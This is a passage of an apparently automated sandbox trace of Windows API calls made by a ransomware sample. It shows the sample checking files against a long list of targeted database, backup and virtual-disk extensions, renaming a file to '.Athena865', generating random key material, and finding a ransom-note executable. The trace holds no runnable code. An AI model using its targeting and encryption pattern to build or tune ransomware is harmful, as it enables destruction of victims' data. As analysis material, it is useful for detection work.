lpString1="dwtrig20.exe") returned="dwtrig20.exe" [0059.160] lstrlenW (lpString="dwtrig20.exe") returned 12 [0059.160] lstrlenW (lpString="Athena865") returned 9 [0059.160] lstrcmpiW (lpString1="rig20.exe", lpString2="Athena865") returned 1 [0059.160] lstrlenW (lpString=".dll") returned 4 [0059.160] lstrcmpiW (lpString1="dwtrig20.exe", lpString2=".dll") returned 1 [0059.160] lstrlenW (lpString=".lnk") returned 4 [0059.160] lstrcmpiW (lpString1="dwtrig20.exe", lpString2=".lnk") returned 1 [0059.160] lstrlenW (lpString=".ini") returned 4 [0059.160] lstrcmpiW (lpString1="dwtrig20.exe", lpString2=".ini") returned 1 [0059.160] lstrlenW (lpString=".sys") returned 4 [0059.160] lstrcmpiW (lpString1="dwtrig20.exe", lpString2=".sys") returned 1 [0059.160] lstrlenW (lpString="dwtrig20.exe") returned 12 [0059.160] lstrlenW (lpString="bak") returned 3 [0059.160] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0059.160] lstrlenW (lpString="ba_") returned 3 [0059.160] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0059.160] lstrlenW (lpString="dbb") returned 3 [0059.160] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0059.160] lstrlenW (lpString="vmdk") returned 4 [0059.160] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0059.160] lstrlenW (lpString="rar") returned 3 [0059.160] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0059.161] lstrlenW (lpString="zip") returned 3 [0059.161] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0059.161] lstrlenW (lpString="tgz") returned 3 [0059.161] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0059.161] lstrlenW (lpString="vbox") returned 4 [0059.161] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0059.161] lstrlenW (lpString="vdi") returned 3 [0059.161] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0059.161] lstrlenW (lpString="vhd") returned 3 [0059.161] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0059.161] lstrlenW (lpString="vhdx") returned 4 [0059.161] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0059.161] lstrlenW (lpString="avhd") returned 4 [0059.161] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0059.161] lstrlenW (lpString="db") returned 2 [0059.161] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0059.161] lstrlenW (lpString="db2") returned 3 [0059.161] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0059.161] lstrlenW (lpString="db3") returned 3 [0059.161] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0059.161] lstrlenW (lpString="dbf") returned 3 [0059.161] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0059.161] lstrlenW (lpString="mdf") returned 3 [0059.161] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0059.161] lstrlenW (lpString="mdb") returned 3 [0059.161] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0059.161] lstrlenW (lpString="sql") returned 3 [0059.161] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0059.161] lstrlenW (lpString="sqlite") returned 6 [0059.161] lstrcmpiW (lpString1="20.exe", lpString2="sqlite") returned -1 [0059.161] lstrlenW (lpString="sqlite3") returned 7 [0059.161] lstrcmpiW (lpString1="g20.exe", lpString2="sqlite3") returned -1 [0059.161] lstrlenW (lpString="sqlitedb") returned 8 [0059.161] lstrcmpiW (lpString1="ig20.exe", lpString2="sqlitedb") returned -1 [0059.162] lstrlenW (lpString="xml") returned 3 [0059.162] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0059.162] lstrlenW (lpString="$er") returned 3 [0059.162] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0059.162] lstrlenW (lpString="4dd") returned 3 [0059.162] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0059.162] lstrlenW (lpString="4dl") returned 3 [0059.162] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0059.162] lstrlenW (lpString="^^^") returned 3 [0059.162] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0059.162] lstrlenW (lpString="abs") returned 3 [0059.162] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0059.162] lstrlenW (lpString="abx") returned 3 [0059.162] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0059.162] lstrlenW (lpString="accdb") returned 5 [0059.162] lstrcmpiW (lpString1="0.exe", lpString2="accdb") returned -1 [0059.162] lstrlenW (lpString="accdc") returned 5 [0059.162] lstrcmpiW (lpString1="0.exe", lpString2="accdc") returned -1 [0059.162] lstrlenW (lpString="accde") returned 5 [0059.162] lstrcmpiW (lpString1="0.exe", lpString2="accde") returned -1 [0059.162] lstrlenW (lpString="accdr") returned 5 [0059.162] lstrcmpiW (lpString1="0.exe", lpString2="accdr") returned -1 [0059.162] lstrlenW (lpString="accdt") returned 5 [0059.162] lstrcmpiW (lpString1="0.exe", lpString2="accdt") returned -1 [0059.162] lstrlenW (lpString="accdw") returned 5 [0059.162] lstrcmpiW (lpString1="0.exe", lpString2="accdw") returned -1 [0059.162] lstrlenW (lpString="accft") returned 5 [0059.162] lstrcmpiW (lpString1="0.exe", lpString2="accft") returned -1 [0059.162] lstrlenW (lpString="adb") returned 3 [0059.162] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0059.162] lstrlenW (lpString="adb") returned 3 [0059.162] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0059.163] lstrlenW (lpString="ade") returned 3 [0059.163] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0059.163] lstrlenW (lpString="adf") returned 3 [0059.163] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0059.163] lstrlenW (lpString="adn") returned 3 [0059.163] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0059.163] lstrlenW (lpString="adp") returned 3 [0059.163] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0059.163] lstrlenW (lpString="alf") returned 3 [0059.163] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0059.163] lstrlenW (lpString="ask") returned 3 [0059.163] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0059.163] lstrlenW (lpString="btr") returned 3 [0059.163] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0059.163] lstrlenW (lpString="cat") returned 3 [0059.163] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0059.163] lstrlenW (lpString="cdb") returned 3 [0059.163] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0059.163] lstrlenW (lpString="ckp") returned 3 [0059.163] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0059.163] lstrlenW (lpString="cma") returned 3 [0059.163] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0059.163] lstrlenW (lpString="cpd") returned 3 [0059.163] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0059.163] lstrlenW (lpString="dacpac") returned 6 [0059.163] lstrcmpiW (lpString1="20.exe", lpString2="dacpac") returned -1 [0059.163] lstrlenW (lpString="dad") returned 3 [0059.163] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0059.163] lstrlenW (lpString="dadiagrams") returned 10 [0059.163] lstrcmpiW (lpString1="trig20.exe", lpString2="dadiagrams") returned 1 [0059.163] lstrlenW (lpString="daschema") returned 8 [0059.163] lstrcmpiW (lpString1="ig20.exe", lpString2="daschema") returned 1 [0059.164] lstrlenW (lpString="db-journal") returned 10 [0059.164] lstrcmpiW (lpString1="trig20.exe", lpString2="db-journal") returned 1 [0059.164] lstrlenW (lpString="db-shm") returned 6 [0059.164] lstrcmpiW (lpString1="20.exe", lpString2="db-shm") returned -1 [0059.164] lstrlenW (lpString="db-wal") returned 6 [0059.164] lstrcmpiW (lpString1="20.exe", lpString2="db-wal") returned -1 [0059.164] lstrlenW (lpString="dbc") returned 3 [0059.164] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0059.164] lstrlenW (lpString="dbs") returned 3 [0059.164] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0059.164] lstrlenW (lpString="dbt") returned 3 [0059.164] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0059.164] lstrlenW (lpString="dbv") returned 3 [0059.164] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0059.164] lstrlenW (lpString="dbx") returned 3 [0059.164] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0059.164] lstrlenW (lpString="dcb") returned 3 [0059.164] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0059.164] lstrlenW (lpString="dct") returned 3 [0059.164] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0059.164] lstrlenW (lpString="dcx") returned 3 [0059.164] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0059.164] lstrlenW (lpString="ddl") returned 3 [0059.164] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0059.164] lstrlenW (lpString="dlis") returned 4 [0059.164] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0059.164] lstrlenW (lpString="dp1") returned 3 [0059.164] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0059.164] lstrlenW (lpString="dqy") returned 3 [0059.164] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0059.164] lstrlenW (lpString="dsk") returned 3 [0059.164] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0059.164] lstrlenW (lpString="dsn") returned 3 [0059.165] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0059.165] lstrlenW (lpString="dtsx") returned 4 [0059.165] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0059.165] lstrlenW (lpString="dxl") returned 3 [0059.165] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0059.165] lstrlenW (lpString="eco") returned 3 [0059.165] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0059.165] lstrlenW (lpString="ecx") returned 3 [0059.165] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0059.165] lstrlenW (lpString="edb") returned 3 [0059.165] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0059.165] lstrlenW (lpString="epim") returned 4 [0059.165] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0059.165] lstrlenW (lpString="fcd") returned 3 [0059.165] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0059.165] lstrlenW (lpString="fdb") returned 3 [0059.165] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0059.165] lstrlenW (lpString="fic") returned 3 [0059.165] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0059.165] lstrlenW (lpString="flexolibrary") returned 12 [0059.165] lstrlenW (lpString="fm5") returned 3 [0059.165] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0059.165] lstrlenW (lpString="fmp") returned 3 [0059.165] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0059.165] lstrlenW (lpString="fmp12") returned 5 [0059.165] lstrcmpiW (lpString1="0.exe", lpString2="fmp12") returned -1 [0059.165] lstrlenW (lpString="fmpsl") returned 5 [0059.165] lstrcmpiW (lpString1="0.exe", lpString2="fmpsl") returned -1 [0059.165] lstrlenW (lpString="fol") returned 3 [0059.165] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0059.165] lstrlenW (lpString="fp3") returned 3 [0059.165] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0059.166] lstrlenW (lpString="fp4") returned 3 [0059.166] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0059.166] lstrlenW (lpString="fp5") returned 3 [0059.166] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0059.166] lstrlenW (lpString="fp7") returned 3 [0059.166] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0059.166] lstrlenW (lpString="fpt") returned 3 [0059.166] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0059.166] lstrlenW (lpString="frm") returned 3 [0059.166] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0059.166] lstrlenW (lpString="gdb") returned 3 [0059.166] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0059.166] lstrlenW (lpString="gdb") returned 3 [0059.166] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0059.166] lstrlenW (lpString="grdb") returned 4 [0059.166] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0059.166] lstrlenW (lpString="gwi") returned 3 [0059.166] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0059.166] lstrlenW (lpString="hdb") returned 3 [0059.166] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0059.166] lstrlenW (lpString="his") returned 3 [0059.166] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0059.166] lstrlenW (lpString="ib") returned 2 [0059.166] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0059.166] lstrlenW (lpString="idb") returned 3 [0059.166] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0059.166] lstrlenW (lpString="ihx") returned 3 [0059.166] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0059.166] lstrlenW (lpString="itdb") returned 4 [0059.166] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0059.166] lstrlenW (lpString="itw") returned 3 [0059.166] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0059.167] lstrlenW (lpString="jet") returned 3 [0059.167] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0059.167] lstrlenW (lpString="jtx") returned 3 [0059.167] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0059.167] lstrlenW (lpString="kdb") returned 3 [0059.167] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0059.167] lstrlenW (lpString="kexi") returned 4 [0059.167] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0059.167] lstrlenW (lpString="kexic") returned 5 [0059.167] lstrcmpiW (lpString1="0.exe", lpString2="kexic") returned -1 [0059.167] lstrlenW (lpString="kexis") returned 5 [0059.167] lstrcmpiW (lpString1="0.exe", lpString2="kexis") returned -1 [0059.167] lstrlenW (lpString="lgc") returned 3 [0059.167] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0059.167] lstrlenW (lpString="lwx") returned 3 [0059.167] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0059.167] lstrlenW (lpString="maf") returned 3 [0059.167] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0059.167] lstrlenW (lpString="maq") returned 3 [0059.167] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0059.167] lstrlenW (lpString="mar") returned 3 [0059.167] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0059.167] lstrlenW (lpString="marshal") returned 7 [0059.167] lstrcmpiW (lpString1="g20.exe", lpString2="marshal") returned -1 [0059.167] lstrlenW (lpString="mas") returned 3 [0059.167] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0059.167] lstrlenW (lpString="mav") returned 3 [0059.167] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0059.167] lstrlenW (lpString="maw") returned 3 [0059.167] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0059.167] lstrlenW (lpString="mdbhtml") returned 7 [0059.167] lstrcmpiW (lpString1="g20.exe", lpString2="mdbhtml") returned -1 [0059.168] lstrlenW (lpString="mdn") returned 3 [0059.168] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0059.168] lstrlenW (lpString="mdt") returned 3 [0059.168] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0059.168] lstrlenW (lpString="mfd") returned 3 [0059.168] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0059.168] lstrlenW (lpString="mpd") returned 3 [0059.168] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0059.168] lstrlenW (lpString="mrg") returned 3 [0059.168] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0059.168] lstrlenW (lpString="mud") returned 3 [0059.168] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0059.168] lstrlenW (lpString="mwb") returned 3 [0059.168] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0059.168] lstrlenW (lpString="myd") returned 3 [0059.168] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0059.168] lstrlenW (lpString="ndf") returned 3 [0059.168] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0059.168] lstrlenW (lpString="nnt") returned 3 [0059.168] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0059.168] lstrlenW (lpString="nrmlib") returned 6 [0059.168] lstrcmpiW (lpString1="20.exe", lpString2="nrmlib") returned -1 [0059.168] lstrlenW (lpString="ns2") returned 3 [0059.168] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0059.168] lstrlenW (lpString="ns3") returned 3 [0059.168] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0059.168] lstrlenW (lpString="ns4") returned 3 [0059.168] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0059.168] lstrlenW (lpString="nsf") returned 3 [0059.168] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0059.168] lstrlenW (lpString="nv") returned 2 [0059.168] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0059.168] lstrlenW (lpString="nv2") returned 3 [0059.168] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0059.169] lstrlenW (lpString="nwdb") returned 4 [0059.169] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0059.169] lstrlenW (lpString="nyf") returned 3 [0059.169] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0059.169] lstrlenW (lpString="odb") returned 3 [0059.169] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0059.169] lstrlenW (lpString="odb") returned 3 [0059.169] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0059.169] lstrlenW (lpString="oqy") returned 3 [0059.169] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0059.169] lstrlenW (lpString="ora") returned 3 [0059.169] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0059.169] lstrlenW (lpString="orx") returned 3 [0059.169] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0059.169] lstrlenW (lpString="owc") returned 3 [0059.169] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0059.169] lstrlenW (lpString="p96") returned 3 [0059.169] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0059.169] lstrlenW (lpString="p97") returned 3 [0059.169] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0059.169] lstrlenW (lpString="pan") returned 3 [0059.169] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0059.169] lstrlenW (lpString="pdb") returned 3 [0059.169] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0059.169] lstrlenW (lpString="pdm") returned 3 [0059.169] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0059.169] lstrlenW (lpString="pnz") returned 3 [0059.169] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0059.169] lstrlenW (lpString="qry") returned 3 [0059.169] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0059.169] lstrlenW (lpString="qvd") returned 3 [0059.169] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0059.169] lstrlenW (lpString="rbf") returned 3 [0059.169] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0059.170] lstrlenW (lpString="rctd") returned 4 [0059.170] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0059.170] lstrlenW (lpString="rod") returned 3 [0059.170] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0059.170] lstrlenW (lpString="rodx") returned 4 [0059.170] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0059.170] lstrlenW (lpString="rpd") returned 3 [0059.170] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0059.170] lstrlenW (lpString="rsd") returned 3 [0059.170] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0059.170] lstrlenW (lpString="sas7bdat") returned 8 [0059.170] lstrcmpiW (lpString1="ig20.exe", lpString2="sas7bdat") returned -1 [0059.170] lstrlenW (lpString="sbf") returned 3 [0059.170] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0059.170] lstrlenW (lpString="scx") returned 3 [0059.170] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0059.170] lstrlenW (lpString="sdb") returned 3 [0059.170] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0059.170] lstrlenW (lpString="sdc") returned 3 [0059.170] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0059.170] lstrlenW (lpString="sdf") returned 3 [0059.170] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0059.170] lstrlenW (lpString="sis") returned 3 [0059.170] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0059.170] lstrlenW (lpString="spq") returned 3 [0059.170] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0059.170] lstrlenW (lpString="te") returned 2 [0059.170] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0059.170] lstrlenW (lpString="teacher") returned 7 [0059.170] lstrcmpiW (lpString1="g20.exe", lpString2="teacher") returned -1 [0059.170] lstrlenW (lpString="tmd") returned 3 [0059.170] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0059.170] lstrlenW (lpString="tps") returned 3 [0059.171] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0059.171] lstrlenW (lpString="trc") returned 3 [0059.171] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0059.171] lstrlenW (lpString="trc") returned 3 [0059.171] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0059.171] lstrlenW (lpString="trm") returned 3 [0059.171] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0059.171] lstrlenW (lpString="udb") returned 3 [0059.171] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0059.171] lstrlenW (lpString="udl") returned 3 [0059.171] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0059.171] lstrlenW (lpString="usr") returned 3 [0059.171] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0059.171] lstrlenW (lpString="v12") returned 3 [0059.171] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0059.171] lstrlenW (lpString="vis") returned 3 [0059.171] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0059.171] lstrlenW (lpString="vpd") returned 3 [0059.171] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0059.171] lstrlenW (lpString="vvv") returned 3 [0059.171] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0059.171] lstrlenW (lpString="wdb") returned 3 [0059.171] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0059.171] lstrlenW (lpString="wmdb") returned 4 [0059.171] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0059.171] lstrlenW (lpString="wrk") returned 3 [0059.171] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0059.171] lstrlenW (lpString="xdb") returned 3 [0059.171] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0059.171] lstrlenW (lpString="xld") returned 3 [0059.171] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0059.171] lstrlenW (lpString="xmlff") returned 5 [0059.171] lstrcmpiW (lpString1="0.exe", lpString2="xmlff") returned -1 [0059.172] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.Athena865") returned 85 [0059.172] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.athena865"), dwFlags=0x1) returned 1 [0059.172] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0059.173] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=519584) returned 1 [0059.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0059.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0059.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0059.173] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0059.174] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0059.174] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.174] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7f0a0, lpName=0x0) returned 0x154 [0059.176] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7f0a0) returned 0x2d50000 [0059.195] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0059.196] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0059.196] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.196] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0059.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0059.196] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0059.196] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0059.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0059.196] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0059.196] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0059.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0059.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0059.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0059.197] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0059.201] CloseHandle (hObject=0x154) returned 1 [0059.201] CloseHandle (hObject=0x17c) returned 1 [0059.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0059.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0059.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0059.204] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd3b8d80, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd3b8d80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0059.204] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0059.204] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: 